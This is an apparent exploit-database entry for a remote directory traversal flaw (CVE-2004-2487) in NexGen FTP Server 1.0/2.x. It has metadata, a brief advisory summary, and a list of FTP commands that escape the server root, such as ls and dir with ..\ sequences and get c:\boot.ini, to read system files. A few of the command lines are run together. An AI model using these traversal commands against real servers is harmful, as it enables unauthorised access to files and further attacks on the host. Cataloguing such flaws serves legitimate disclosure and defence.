NexGen FTP Server 1.0/2.x - Directory Traversal

Author: Ziv Kamir
type: remote
platform: windows
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date_added: 2004-03-24 
date_updated: 2013-01-04 
verified: 1 
codes: CVE-2004-2487;OSVDB-4557 
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source: https://www.securityfocus.com/bid/9970/info

It has been reported that the Nexgen FTP server is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize file request strings from authenticated users.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

ls c:\*.*
ls ..
ls \..ls /../
dir c:dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File"